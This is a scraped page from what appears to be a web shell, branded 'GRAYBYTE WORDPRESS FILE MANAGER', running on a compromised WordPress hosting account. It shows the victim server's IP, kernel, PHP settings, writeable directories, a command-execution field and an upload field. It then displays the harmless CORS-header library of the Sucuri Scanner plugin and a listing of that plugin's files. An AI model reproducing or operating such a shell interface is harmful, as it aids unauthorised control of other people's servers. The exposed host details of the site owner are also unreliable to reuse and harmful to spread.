GRAYBYTE WORDPRESS FILE MANAGER4869

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/chahida.co.in/wp-content/plugins/sucuri-scanner/src/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/chahida.co.in/wp-content/plugins/sucuri-scanner/src//cors.lib.php
<?php
/**
 * Code related to the CORS (Cross-Origin Resource Sharing) headers settings.
 *
 * PHP version 5
 *
 * @category   Library
 * @package    Sucuri
 * @subpackage SucuriScanner
 */

if (!defined('SUCURISCAN_INIT') || SUCURISCAN_INIT !== true) {
    if (!headers_sent()) {
        /* Report invalid access if possible. */
        header('HTTP/1.1 403 Forbidden');
    }
    exit(1);
}

/**
 * CORS headers library.
 *
 * This class is responsible for setting the CORS headers based on the user's settings.
 *
 * @category   Library
 * @package    Sucuri
 * @subpackage SucuriScanner
 */
class SucuriScanCORSHeaders extends SucuriScan
{
    /**
     * Sets the CORS headers according to the stored plugin options.
     *
     * @return void
     */
    public function setCORSHeaders()
    {
        if (headers_sent()) {
            return;
        }

        $corsMode = SucuriScanOption::getOption(':headers_cors');
        if ($corsMode === 'disabled') {
            return;
        }

        $corsOptions = SucuriScanOption::getOption(':headers_cors_options');

        if (!is_array($corsOptions)) {
            $corsOptions = array();
        }

        foreach ($corsOptions as $directive => $option) {
            // If the directive is not enforced, skip
            if (!isset($option['enforced']) || !$option['enforced']) {
                continue;
            }

            // Collect the directive’s raw value (may be from 'value' or multi_checkbox 'options')
            $rawValue = $this->collectDirectiveValue($option);

            if (empty($rawValue)) {
                continue;
            }

            switch ($directive) {
                case 'Access-Control-Allow-Origin':
                    $cleanValue = $this->sanitizeSimpleValue($rawValue);

                    if (!empty($cleanValue)) {
                        header('Access-Control-Allow-Origin: ' . $cleanValue);
                    }

                    break;

                case 'Access-Control-Expose-Headers':
                    $csv = $this->sanitizeCommaSeparatedValue($rawValue);

                    if (!empty($csv)) {
                        header('Access-Control-Expose-Headers: ' . $csv);
                    }

                    break;

                case 'Access-Control-Allow-Methods':
                    $methods = $this->sanitizeMultiMethodValue($rawValue);

                    if (!empty($methods)) {
                        header('Access-Control-Allow-Methods: ' . $methods);
                    }

                    break;

                case 'Access-Control-Allow-Headers':
                    $csv = $this->sanitizeCommaSeparatedValue($rawValue);

                    if (!empty($csv)) {
                        header('Access-Control-Allow-Headers: ' . $csv);
                    }

                    break;

                case 'Access-Control-Allow-Credentials':
                    if (!empty($rawValue)) {
                        header('Access-Control-Allow-Credentials: true');
                    }

                    break;

                case 'Access-Control-Max-Age':
                    $numeric = $this->sanitizeNumericValue($rawValue);

                    if (!empty($numeric)) {
                        header('Access-Control-Max-Age: ' . $numeric);
                    }

                    break;
            }
        }
    }

    /**
     * Collects a string representing the directive value:
     * If it's a normal text directive, use 'value' directly;
     * if it's a multi_checkbox directive, gather sub-options that are enforced.
     *
     * @param array $option Directive config array (type, value, options, enforced, etc.).
     *
     * @return string A space-separated list if multi_checkbox, or the text value otherwise.
     */
    protected function collectDirectiveValue($option)
    {
        if (isset($option['type']) && $option['type'] === 'multi_checkbox') {
            if (!isset($option['options']) || !is_array($option['options'])) {
                return '';
            }

            $subTokens = array();

            foreach ($option['options'] as $token => $tokenObj) {
                if ($tokenObj['enforced']) {
                    $subTokens[] = $token;
                }
            }

            return implode(' ', $subTokens);
        }

        if (isset($option['value']) && is_string($option['value'])) {
            return trim($option['value']);
        }

        return '';
    }

    /**
     * Removes HTML tags, replaces newlines, and trims whitespace.
     *
     * @param string $value The raw input string.
     *
     * @return string The cleaned string (could be empty).
     */
    protected function sanitizeSimpleValue($value)
    {
        $value = strip_tags($value);
        $value = preg_replace('/[\r\n]+/', ' ', $value);

        return trim($value);
    }

    /**
     * Splits a comma-delimited string into tokens, sanitizes each to valid
     * header token characters, and rejoins them with a comma.
     *
     * @param string $rawValue The raw input string.
     *
     * @return string The cleaned, comma-separated string.
     */
    protected function sanitizeCommaSeparatedValue($rawValue)
    {
        $rawValue = $this->sanitizeSimpleValue($rawValue);

        if (empty($rawValue)) {
            return '';
        }

        $tokens = preg_split('/\s*,\s*/', $rawValue, -1, PREG_SPLIT_NO_EMPTY);
        $final = array();

        foreach ($tokens as $token) {
            $token = $this->sanitizeHeaderToken($token);

            if (!empty($token)) {
                $final[] = $token;
            }
        }

        return implode(', ', $final);
    }

    /**
     * Splits a space-delimited string of HTTP methods, e.g. "GET POST OPTIONS",
     * and returns them as uppercase comma-separated tokens.
     *
     * @param string $rawValue The raw input string.
     *
     * @return string The cleaned, comma-separated string of uppercase methods.
     */
    protected function sanitizeMultiMethodValue($rawValue)
    {
        $rawValue = $this->sanitizeSimpleValue($rawValue);

        if (empty($rawValue)) {
            return '';
        }

        $tokens = preg_split('/\s+/', $rawValue, -1, PREG_SPLIT_NO_EMPTY);
        $final = array();

        foreach ($tokens as $t) {
            $t = strtoupper(preg_replace('/[^A-Z]/', '', $t));

            if (!empty($t)) {
                $final[] = $t;
            }
        }

        return implode(', ', $final);
    }

    /**
     * Restricts characters to typical token chars from RFC 7230:
     * ^[!#$%&'*+-.^_`|~0-9A-Za-z]+$
     *
     * @param string $value Potential header token.
     *
     * @return string Cleaned header token (could be empty).
     */
    protected function sanitizeHeaderToken($value)
    {
        $value = preg_replace("/[^!#$%&'*+\-.\^_`|~0-9A-Za-z]/", '', $value);

        return trim($value);
    }

    /**
     * For numeric-only directives like Access-Control-Max-Age.
     *
     * @param string $rawValue The raw input string.
     *
     * @return string Digits only (could be empty).
     */
    protected function sanitizeNumericValue($rawValue)
    {
        $cleaned = $this->sanitizeSimpleValue($rawValue);
        $digitsOnly = preg_replace('/\D/', '', $cleaned);

        return trim($digitsOnly);
    }
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:19
giriqfky / giriqfky
0644
api.lib.php
52.461 KB
April 28 2025 20:34:18
giriqfky / giriqfky
0644
auditlogs.lib.php
13.951 KB
April 28 2025 20:34:18
giriqfky / giriqfky
0644
base.lib.php
27.88 KB
February 12 2025 21:16:24
giriqfky / giriqfky
0644
cache.lib.php
16.152 KB
June 08 2022 20:57:14
giriqfky / giriqfky
0644
cachecontrol.lib.php
9.314 KB
February 12 2025 21:16:24
giriqfky / giriqfky
0644
cli.lib.php
4.798 KB
December 12 2018 04:56:40
giriqfky / giriqfky
0644
command.lib.php
6.192 KB
July 03 2018 22:25:46
giriqfky / giriqfky
0644
cors.lib.php
7.196 KB
January 22 2025 20:27:10
giriqfky / giriqfky
0644
cron.lib.php
1.805 KB
July 01 2022 20:48:54
giriqfky / giriqfky
0644
csp.lib.php
10.026 KB
January 22 2025 20:27:10
giriqfky / giriqfky
0644
event.lib.php
32.171 KB
April 17 2025 21:30:12
giriqfky / giriqfky
0644
fileinfo.lib.php
14.978 KB
February 21 2019 02:10:38
giriqfky / giriqfky
0644
firewall.lib.php
25.744 KB
August 05 2022 12:37:34
giriqfky / giriqfky
0644
fsscanner.lib.php
4.199 KB
May 22 2018 23:44:42
giriqfky / giriqfky
0644
globals.php
8.83 KB
April 28 2025 20:34:18
giriqfky / giriqfky
0644
hardening.lib.php
18.502 KB
February 12 2025 21:16:24
giriqfky / giriqfky
0644
hook.lib.php
38.228 KB
September 08 2022 20:53:50
giriqfky / giriqfky
0644
index.html
0.037 KB
June 26 2017 22:22:12
giriqfky / giriqfky
0644
installer-skin-legacy.lib.php
1.579 KB
July 26 2021 23:24:36
giriqfky / giriqfky
0644
installer-skin.lib.php
2.352 KB
July 26 2021 23:24:36
giriqfky / giriqfky
0644
integrity.lib.php
28.869 KB
August 26 2024 16:29:56
giriqfky / giriqfky
0644
interface.lib.php
12.518 KB
April 28 2025 20:34:18
giriqfky / giriqfky
0644
lastlogins-failed.php
14.315 KB
November 26 2019 03:09:50
giriqfky / giriqfky
0644
lastlogins-loggedin.php
7.799 KB
March 21 2024 02:14:38
giriqfky / giriqfky
0644
lastlogins.php
16.158 KB
December 14 2023 02:41:56
giriqfky / giriqfky
0644
mail.lib.php
9.767 KB
August 15 2024 20:16:00
giriqfky / giriqfky
0644
option.lib.php
47.315 KB
January 22 2025 20:27:10
giriqfky / giriqfky
0644
pagehandler.php
11.151 KB
April 28 2025 20:34:18
giriqfky / giriqfky
0644
request.lib.php
4.396 KB
March 17 2021 19:20:08
giriqfky / giriqfky
0644
settings-alerts.php
26.935 KB
August 15 2024 20:16:00
giriqfky / giriqfky
0644
settings-apiservice.php
6.386 KB
April 13 2023 15:12:38
giriqfky / giriqfky
0644
settings-general.php
22.646 KB
April 12 2023 12:24:48
giriqfky / giriqfky
0644
settings-hardening.php
35.405 KB
April 28 2025 20:34:18
giriqfky / giriqfky
0644
settings-headers.php
16.343 KB
April 28 2025 20:34:18
giriqfky / giriqfky
0644
settings-integrity.php
5.374 KB
February 21 2019 02:10:38
giriqfky / giriqfky
0644
settings-posthack.php
21.594 KB
April 28 2025 20:34:18
giriqfky / giriqfky
0644
settings-scanner.php
9.694 KB
February 18 2020 01:58:10
giriqfky / giriqfky
0644
settings-webinfo.php
5.546 KB
November 26 2019 03:09:50
giriqfky / giriqfky
0644
settings.php
0.925 KB
May 22 2018 23:44:42
giriqfky / giriqfky
0644
sitecheck.lib.php
19.209 KB
December 12 2022 20:45:18
giriqfky / giriqfky
0644
strings.php
49.83 KB
January 22 2025 20:27:10
giriqfky / giriqfky
0644
template.lib.php
18.983 KB
April 28 2025 20:34:18
giriqfky / giriqfky
0644
vulnerability.lib.php
4.748 KB
April 28 2025 20:34:18
giriqfky / giriqfky
0644
wordpress-recommendations.lib.php
10.9 KB
November 26 2019 03:09:50
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF